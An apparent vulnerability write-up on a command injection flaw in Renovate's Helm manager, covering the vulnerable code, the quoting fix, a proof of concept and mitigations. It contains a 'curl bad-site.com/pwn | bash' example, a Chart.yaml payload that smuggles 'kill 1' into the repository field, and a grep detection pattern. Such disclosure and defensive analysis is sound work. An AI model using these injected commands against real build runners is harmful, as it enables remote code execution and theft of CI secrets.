Bot Betrayal: RCE in Renovate's Helm Manager
Jan 14, 2026·8 min read
Executive Summary (TL;DR)
Renovate versions 31.51.0 through 39.105.x contain a high-severity remote code execution vulnerability in the `helmv3` module. The tool fails to sanitize the `repository` field in `Chart.yaml` files before passing it to a shell command (`helm registry login`). Attackers with the ability to commit to a repository scanned by a self-hosted Renovate instance can execute arbitrary code on the runner infrastructure. The fix involves proper shell argument quoting.
A classic command injection vulnerability residing in the `helmv3` manager of the Renovate dependency automation tool. By crafting a malicious `Chart.yaml` file, an attacker can trick the Renovate runner into executing arbitrary shell commands during the OCI registry authentication process.
The Hook: When the Janitor Turns Evil
In the modern DevSecOps landscape, Renovate is the friendly neighborhood janitor. It tirelessly sweeps through your repositories, finding outdated dependencies, and politely opening Pull Requests to update them. It is a tool built on trust: you give it read/write access to your source code, and often, you give it significant privileges within your CI/CD pipeline so it can run tests and merge changes. But what happens when the janitor can be tricked into leaving the back door wide open?
This vulnerability, tracked as GHSA-3F44-XW83-3PMG, targets the helmv3 manager within Renovate. Specifically, it attacks the functionality designed to handle OCI (Open Container Initiative) registries for Helm charts. As Kubernetes adoption has grown, so has the practice of storing Helm charts in container registries (like AWS ECR or Docker Hub) rather than classic HTTP repositories. To support this, Renovate needs to authenticate against these registries.
Here lies the rub: to perform this authentication, Renovate decides to shell out to the helm binary installed on the runner's system. While shelling out is a common pattern in automation tools, it carries the eternal risk of command injection if the arguments aren't treated with the paranoia they deserve. In this case, Renovate trusted the content of a Chart.yaml file—a file controlled by developers (or attackers who have compromised a developer's account)—a little too much. It turns out, that file isn't just data; in the wrong hands, it's executable code.
The Flaw: A Tale of Unsanitized Strings
The root cause of this vulnerability is a textbook case of CWE-77: Improper Neutralization of Special Elements used in a Command. When Renovate encounters a Helm dependency pointing to an OCI registry, it attempts to log in using the helm registry login command. The logic for constructing this command involves taking the repository URL found in the Chart.yaml file and concatenating it directly into a command string.
Shells are powerful, flexible, and notoriously dangerous when handling untrusted input. In a safe implementation, any user-supplied string destined for a shell command should be rigorously sanitized or, better yet, passed through an exec function that accepts an array of arguments (bypassing the shell interpreter entirely). Renovate, however, took the path of string concatenation. It essentially said to the operating system: "Run this command: helm registry login plus whatever text the user put in their file."
An attacker looks at this logic and sees an opportunity. By using shell metacharacters—symbols like || (OR), ; (command separator), & (background), or | (pipe)—they can terminate the intended helm command and start a new one. The operating system doesn't know the difference; it just sees a sequence of instructions. If the repository string is oci://safe-repo || curl bad-site.com/pwn | bash, the shell obediently tries to log in, likely fails, and then immediately executes the malicious script. The vulnerability existed for nearly four years (introduced in January 2022), lurking in the codebase until it was patched in version 39.106.0.
The Code: The Smoking Gun
Let's dissect the vulnerable logic located in lib/modules/manager/helmv3/common.ts. While the exact original source code is extensive, the vulnerability boils down to how the command string is assembled. The code was dynamically building a string to be executed by the runtime environment.
The Vulnerable Pattern (Conceptual):
// The 'repository' variable comes directly from Chart.yaml
// The 'username' and 'password' come from Renovate configuration
const cmd = `helm registry login ${repository} --username ${username} --password-stdin`;
await exec(cmd);In the snippet above, the ${repository} variable is injected raw. If repository contains spaces or shell operators, they break out of the intended argument slot. This is the programming equivalent of leaving your car keys in the ignition with the windows down.
The Fix:
The remediation applied in version 39.106.0 introduces a quoting mechanism. The developers utilized the shlex package (or a similar internal utility) to properly escape arguments before they touch the shell. This ensures that even if a repository string contains || kill 1, the shell treats it as a weirdly named URL string rather than an operator.
import { quote } from 'shlex';
// Now the repository string is wrapped in quotes and escaped
const cmd = `helm registry login ${quote(repository)} --username ${quote(username)} --password-stdin`;
// Result: helm registry login 'oci://repo || kill 1' ...By wrapping the input in single quotes (and escaping any internal single quotes), the shell is forced to interpret the entire payload as a single argument—the registry URL—which harmlessly fails the login attempt instead of executing code.
The Exploit: Crashing the Runner
Exploiting this requires two components: a malicious repository configuration (Chart.yaml) and a trigger configuration (renovate.json5) to force the authentication flow. Renovate is smart enough not to try logging into every registry it sees; it only attempts login if it matches a hostRule containing credentials. Therefore, the attacker must provide (or rely on existing) host rules.
Step 1: The Payload
The attacker creates a Chart.yaml file in a repository that Renovate scans. The payload is injected into the repository field of a dependency.
apiVersion: v2
name: pwn-the-bot
version: 0.0.1
dependencies:
- name: redis
version: 0.1.0
# The Payload: Try to login to a fake URL, OR (||) kill the process
repository: "oci://charts.bitnami.com/bitnami || kill 1"Step 2: The Trigger
To ensure the vulnerable code path is hit, the attacker configures Renovate (via renovate.json in the same repo) to believe it has credentials for this host. The credentials don't need to be valid; they just need to exist to trigger the helm registry login attempt.
{
"hostRules": [
{
"matchHost": "charts.bitnami.com",
"username": "hacker",
"password": "ignored"
}
]
}Step 3: Execution
When Renovate runs:
- It parses
Chart.yamland extracts the repository URL:oci://charts.bitnami.com/bitnami || kill 1. - It matches the host
charts.bitnami.comto the fake credentials. - It constructs the command:
helm registry login oci://charts.bitnami.com/bitnami || kill 1 --username hacker .... - The shell executes
helm registry login oci://charts.bitnami.com/bitnami. - Regardless of whether that succeeds or fails (depending on the operator used,
||runs on failure,;runs always), the shell then executeskill 1.
In a Docker container, PID 1 is the root process. Executing kill 1 immediately terminates the container, causing a Denial of Service. However, a more sophisticated attacker would replace kill 1 with a reverse shell or environment variable exfiltration command.
The Impact: Why You Should Care
The severity of this vulnerability depends heavily on how you run Renovate. For users of the hosted GitHub App, the risk is mitigated by the sandboxing and ephemeral nature of the runners (though it's still bad for the service provider). However, for Self-Hosted Renovate users—common in Enterprise environments—the impact is critical.
Self-hosted runners often operate inside the internal network, with access to private package feeds, internal Git servers, and cloud infrastructure. A successful RCE allows an attacker to:
- Steal Secrets: Renovate holds credentials for GitHub, GitLab, NPM, Docker Hub, and Maven in its environment variables or configuration. An attacker can dump
process.envand exfiltrate these tokens. - Pivot Internally: The runner often has network access to internal services that are not exposed to the internet. The attacker can use the runner as a jump box.
- Poison the Supply Chain: With write access to the runner, an attacker could theoretically modify the cached packages or the Renovate code itself to inject backdoors into other projects being scanned by the same instance.
The CVSS score is 6.7, which might feel low for an RCE, but this reflects the complexity: the attacker needs write access to a repo you are already scanning. However, in large organizations with hundreds of repos and loose permissions, that barrier is thinner than you think.
The Fix: Upgrade or Die
The mitigation path is straightforward: Upgrade to Renovate 39.106.0 immediately. The patch implements the necessary input sanitization to neutralize shell metacharacters.
If upgrading is not immediately possible (why are you running an auto-updater tool but failing to auto-update it?), you have limited options. You could attempt to use packageRules to disable the helmv3 manager entirely, but this breaks legitimate Helm updates. Network-level blocking is ineffective because the command injection happens locally on the runner, not over the network.
For Security Teams:
- Audit Logs: Check your Renovate logs for failed
helmcommands or unexpected process terminations. Look for "Repository finished" messages that seem premature. - Scan Repos: Run a regex search across your
Chart.yamlfiles for suspicious characters in therepositoryfield:grep -r "repository.*[|;&$]" . - Isolate Runners: Ensure your Renovate runners are ephemeral (spin up, scan, tear down) and have the absolute minimum network/IAM permissions required to do their job. Never run Renovate as root on a long-lived server.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Renovate Mend / RenovateBot | >= 31.51.0 < 39.106.0 | 39.106.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-77 |
| Attack Vector | Network / File (Chart.yaml) |
| CVSS Score | 6.7 (High) |
| Affected Component | helmv3 manager / common.ts |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Proof of Concept Available |
MITRE ATT&CK Mapping
Improper Neutralization of Special Elements used in a Command ('Command Injection')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.